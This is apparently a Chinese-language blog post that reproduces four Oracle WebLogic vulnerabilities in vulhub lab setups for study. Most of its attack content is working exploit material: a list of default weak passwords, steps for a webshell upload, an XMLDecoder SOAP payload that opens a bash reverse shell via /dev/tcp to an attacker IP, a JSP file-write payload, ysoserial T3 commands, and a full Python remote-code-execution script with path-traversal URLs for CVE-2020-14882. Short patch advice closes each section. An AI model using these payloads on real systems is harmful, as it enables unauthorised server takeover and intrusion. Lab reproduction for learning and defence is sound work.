weblogic漏洞复现整理汇总(vulhub)

weblogic漏洞复现整理汇总(vulhub)

目录

  • weblogic漏洞复现整理汇总(vulhub)
  • 一、概述
  • 二、任意文件上传漏洞(CVE-2018-2894)
  • 三、XMLDecoder反序列化漏洞(CVE-2017-10271)
  • 四、反序列化漏洞(CVE-2018-2628)
  • 五、未授权命令执行漏洞(CVE-2020-14882)


根据vulhub已有的复现环境,对weblogic漏洞复现进行一个汇总,包括RCE、未授权任意文件上传、反序列化漏洞等,方便今后回顾学习


一、概述

weblogic是oracle出品的java中间件
端口是7001
默认后台登录地址:http://your-ip:7001/console
常见弱口令:

system:password		weblogic:weblogic		admin:secruity
joe:password		mary:password		system:sercurity
wlcsystem: wlcsystem		weblogic:Oracle@123

此网站可以搜索对应软件的默认密码

https://cirt.net/passwords?criteria=weblogic

二、任意文件上传漏洞(CVE-2018-2894)

  1. 漏洞原因:
    Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。

  2. 漏洞复现:
    搭建 cd vulhub/weblogic/CVE-2018-2894
    docker-compose up -d
    访问 http://your-ip:7001/console 看是否搭建成功
    weblogic漏洞复现整理汇总(vulhub)_第1张图片访问/ws_utc/config.do(未授权访问)
    weblogic漏洞复现整理汇总(vulhub)_第2张图片
    Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service
    Test Page 在 ‘生产模式’ 下默认不开启,所以该漏洞有一定限制,漏洞存在页面在/ws_utc/config.do。

    所以我们漏洞复现的话需要手动准备一下环境:
    查看管理员账号密码为 weblogic 密码为 uN21RTXC
    weblogic漏洞复现整理汇总(vulhub)_第3张图片
    登录管理员后台(输错密码5次会锁定账号,半个小时后才能登录,血的教训)
    weblogic漏洞复现整理汇总(vulhub)_第4张图片
    点击base_domain,再点击高级
    weblogic漏洞复现整理汇总(vulhub)_第5张图片
    启用web服务测试页
    weblogic漏洞复现整理汇总(vulhub)_第6张图片最后点击保存
    现在可以访问我们的未授权页面/ws_utc/config.do
    修改Work Home Dir:
    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(因为访问这个目录不需要权限),之后点提交
    weblogic漏洞复现整理汇总(vulhub)_第7张图片
    之后就可以上传文件了,点击安全
    weblogic漏洞复现整理汇总(vulhub)_第8张图片点击添加,上传webshell(我选择冰蝎shell.jsp)
    weblogic漏洞复现整理汇总(vulhub)_第9张图片
    打开抓包,点击提交
    weblogic漏洞复现整理汇总(vulhub)_第10张图片weblogic漏洞复现整理汇总(vulhub)_第11张图片
    可以看到返回包中有一个时间戳(应该是哈哈的那个id标签),待会要用
    打开连接软件,这里我用冰蝎,路径为 http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]
    http://192.168.0.161:7001/ws_utc/css/config/keystore/1628751524774_shell.jsp
    weblogic漏洞复现整理汇总(vulhub)_第12张图片
    成功连接
    2.3修复建议
    使用oracle官方补丁升级;

三、XMLDecoder反序列化漏洞(CVE-2017-10271)

  1. 漏洞原因:
    Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

  2. 漏洞复现:
    先搭建环境(vulhub)
    漏洞存在于以下路径:/wls-wsat/CoordinatorPortType11
    weblogic漏洞复现整理汇总(vulhub)_第13张图片先开一个监听,监听端口21
    weblogic漏洞复现整理汇总(vulhub)_第14张图片用burpsuite发送如下post报文

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/接收shell的ip/21 0&gt;&amp;1</string> 
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

weblogic漏洞复现整理汇总(vulhub)_第15张图片 发送之后成功反弹shell
weblogic漏洞复现整理汇总(vulhub)_第16张图片尝试写一个文件上去

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java><java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter">      <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
     <void method="println"><string>
     <![CDATA[
 <% out.print("test"); %>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </object></java></java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
</soapenv:Envelope>

文件路径为 /bea_wls_internal/test1.jsp
weblogic漏洞复现整理汇总(vulhub)_第17张图片尝试写一个jsp一句话木马上去
这里我上传的冰蝎马(这里注意要把中文都删掉,会对bp造成影响)
成功连接!
weblogic漏洞复现整理汇总(vulhub)_第18张图片3. 修复建议:
打补丁、删除wls-wsat组件,然后重启weblogic(临时处理)

四、反序列化漏洞(CVE-2018-2628)

  1. 漏洞原因:
    T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.
    (可通过nmap脚本–script=weblogic-t3-info查看weblogic版本信息和t3协议是否开启)

  2. 漏洞复现:
    搭建vulhub环境
    首先准备反序列化利用工具

    ysoserial-cve-2018-2628,下载链接https://github.com/tdy218/ysoserial-cve-2018-2628/releases
    expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553

    存放在同一路径建议
    先执行以下命令,开启一个监听端口,命令为创建一个test文件夹(并不是所有命令都能执行)
    java -cp “ysoserial-0.1-cve-2018-2628-all.jar” ysoserial.exploit.JRMPListener 3333 Jdk7u21 “touch /tmp/test”
    weblogic漏洞复现整理汇总(vulhub)_第19张图片再执行该命令,必须使用python2环境
    python2 exploit.py 192.168.0.161 7001 ysoserial-0.1-cve-2018-2628-all.jar 192.168.0.83 3333 JRMPClientweblogic漏洞复现整理汇总(vulhub)_第20张图片去靶机上验证一下(没成功不知道怎么回事)

    docker-compose exec weblogic bash
    ls /tmp
    
  3. 修复建议:
    及时更新补丁;禁用T3协议;禁止T3端口对外开放,或者限制可访问T3端口的IP来源

五、未授权命令执行漏洞(CVE-2020-14882)

  1. 漏洞原因:
    未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。

  2. 漏洞复现:
    首先搭建环境
    weblogic漏洞复现整理汇总(vulhub)_第21张图片方法一:使用exp,相关exp如下:

    import re
    import sys
    import requests
    #下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
    #其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
    #参考https://my.oschina.net/u/1538135/blog/858467
    #python3.x中的httplib变成了http.client需要修改一下
    import http.client
    http.client.HTTPConnection._http_vsn = 10
    http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
    if len(sys.argv) <3:
        print('用法:python exp.py http(s):target-ip:target-port command')
        sys.exit()
    baseurl = sys.argv[1]
    #去掉url最后面的/
    if baseurl[-1]=='/':
        baseurl = baseurl[0:-1]
    #命令中包含空格的情况
    cmd = sys.argv[2]
    if len(sys.argv) > 3:
        i = 3
        while i < len(sys.argv):
            #在linux中可以使用${IFS}代替空格
            #windows的话部分命令可以使用=替代空格,大家可以自行修改脚本
            cmd += ' '
            cmd += sys.argv[i]
            i += 1
    #调试的时候使用burp代理抓包,便于发现脚本的问题
    proxy = {"http": "http://127.0.0.1:8080"}
    res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
    #设置不跟随302重定向,不然会获取不到cookie
    #response = requests.get(res, proxies=proxy,allow_redirects=False)
    response = requests.get(res, allow_redirects=False)
    cookie_raw = response.headers['Set-Cookie']
    
    matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
    if matchObj:
        cookie = matchObj.group(1)
        #print(cookie)
    else:
        print('未获取到cookie!')
        sys.exit();
    
    #获取到cookie之后,发送第二个请求,用于执行命令
    #注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
    #转义符处理,导致真正发送的请求中只包含一个\
    res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
    headers = {"cookie":cookie, "cmd":cmd}
    #response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
    response = requests.get(res, headers=headers, allow_redirects=False)
    print(response.text)
    

    成功远程命令执行
    weblogic漏洞复现整理汇总(vulhub)_第22张图片方法二:未授权访问
    url输入以下payload:
    http://192.168.0.161:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

    直接是一个未授权登录后台
    weblogic漏洞复现整理汇总(vulhub)_第23张图片
    方法三:抓包重放写入文件
    修改请求行
    GET /console/css/%252e%252e%252fconsole.portal_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(“java.lang.Runtime.getRuntime().exec(‘touch%20/tmp/20210819’);” HTTP/1.1
    weblogic漏洞复现整理汇总(vulhub)_第24张图片
    weblogic漏洞复现整理汇总(vulhub)_第25张图片成功写入文件

    weblogic漏洞复现整理汇总(vulhub)_第26张图片

  3. 修复建议
    临时关闭后台/console/console.portal对外访问;安装最新补丁

你可能感兴趣的:(安全,开发语言)